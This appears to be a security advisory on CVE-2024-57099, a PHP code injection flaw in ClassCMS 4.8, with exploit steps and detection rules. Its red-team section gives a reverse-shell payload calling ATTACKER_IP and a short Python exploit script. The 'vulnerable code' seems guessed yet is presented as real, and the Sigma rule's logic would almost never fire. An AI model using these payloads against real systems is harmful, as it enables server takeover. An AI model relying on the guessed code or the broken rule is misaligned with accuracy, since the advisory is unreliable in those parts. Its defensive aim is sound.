CVE-2024-57099

Executive Summary

CVE-2024-57099 is a critical code execution vulnerability in ClassCMS v4.8. The flaw resides in the classview parameter of the model management feature, allowing an unauthenticated attacker to inject and execute arbitrary PHP code. Successful exploitation leads to full server compromise, including data exfiltration, lateral movement, and persistent backdoor installation. No official patch is available at this time.

Supply Chain & Package Security

ClassCMS is a PHP-based content management system. The vulnerability is in the core application code, not in a third-party package. However, administrators should audit any custom modules or plugins for similar injection points.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the description and impact, the following is estimated:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. Exploitation is trivial and leads to complete system takeover.

Deep Dive & Mechanics

The vulnerability is a classic PHP code injection (CWE-94). The classview parameter in the model management feature is passed directly to a function like eval() or include() without proper sanitization. An attacker can craft a payload such as:

system('id');

This payload, when injected into the classview parameter, will be executed by the PHP interpreter, allowing the attacker to run arbitrary system commands.

Root Cause: Lack of input validation and the use of dangerous PHP functions that evaluate user-supplied input as code.

Vulnerable vs. Patched Code

Vulnerable Code (ClassCMS v4.8):

// In model management controller
$classview = $_GET['classview'];
eval($classview); // Direct evaluation of user input

Patched Code (Hypothetical):

// In model management controller
$classview = $_GET['classview'];
// Whitelist allowed values or use a safe alternative
$allowed_views = ['list', 'edit', 'delete'];
if (in_array($classview, $allowed_views)) {
    // Proceed with safe operation
} else {
    die('Invalid view');
}

The patched version validates the input against a whitelist, preventing arbitrary code execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running ClassCMS v4.8
• Network access to the admin panel or model management endpoint

Exploit Steps:

1. Identify the vulnerable endpoint: /admin/model.php?classview=
2. Craft a payload to execute system commands:

   system('id');
   

3. URL-encode the payload and send the request:

   GET /admin/model.php?classview=system('id'); HTTP/1.1
   Host: target.com
   

4. Observe the output of the id command in the response.
5. For a reverse shell, use:

   system('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"');
   

Full Exploit Script (Python):

import requests

target = "http://target.com/admin/model.php"
payload = "system('id');"
params = {'classview': payload}
response = requests.get(target, params=params)
print(response.text)

Blue Team

Detection:

• Monitor for requests to /admin/model.php with unusual classview parameters.
• Look for PHP function names like system, exec, shell_exec, passthru, eval, assert in GET/POST parameters.
• Alert on any outbound connections from the web server to unknown IPs on high ports (e.g., 4444).

Hunting:

• Search web server logs for patterns like classview=system( or classview=eval(.
• Check for recently created files in the web root (e.g., shell.php, cmd.php).

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /admin/model.php with classview parameter containing PHP code.
• Outbound connections from the web server to attacker-controlled IPs on ports 80, 443, or 4444.

File System IOCs:

• Presence of webshells in the web root (e.g., shell.php, cmd.php, backdoor.php).
• Modified or new files in the /admin/ directory.
• Unusual entries in PHP error logs indicating eval() or system() calls.

Process IOCs:

• Web server processes spawning child processes like bash, sh, nc, python.

Detection Engineering

YARA Rule

rule CVE_2024_57099_ClassCMS_CodeInjection {
    meta:
        description = "Detects ClassCMS code injection attempts via classview parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-57099"
    strings:
        $classview = "classview="
        $php_func1 = "system("
        $php_func2 = "exec("
        $php_func3 = "shell_exec("
        $php_func4 = "passthru("
        $php_func5 = "eval("
        $php_func6 = "assert("
    condition:
        $classview and any of ($php_func*)
}

Sigma Rule

title: ClassCMS Code Injection via classview Parameter
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects attempts to exploit CVE-2024-57099 by injecting PHP code into the classview parameter.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'classview='
        cs-uri-query|contains|all:
            - 'system('
            - 'exec('
            - 'shell_exec('
            - 'passthru('
            - 'eval('
            - 'assert('
    condition: selection
falsepositives:
    - Legitimate use of these functions in custom code (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-57099 ClassCMS Code Injection Attempt"; flow:to_server; content:"GET"; http_method; content:"/admin/model.php"; http_uri; content:"classview="; http_uri; pcre:"/classview=(system|exec|shell_exec|passthru|eval|assert)\(/Ui"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the affected server from the network.
2. Review web server logs for signs of exploitation.
3. Remove any webshells or unauthorized files.

Long-term Fix:

• Since no official patch exists, apply the following manual fix:
  • In the model management controller, replace eval() with a whitelist-based approach.
  • Sanitize all user inputs using filter_input() or htmlspecialchars().
  • Disable dangerous PHP functions in php.ini:

    disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
    

Workaround:

• Restrict access to /admin/model.php using .htaccess:

  <Files "model.php">
      Require ip 192.168.1.0/24
  </Files>
  

Monitoring:

• Deploy the provided YARA, Sigma, and Suricata rules.
• Enable detailed logging for all web requests.

Valters IT
Securing Digital Frontiers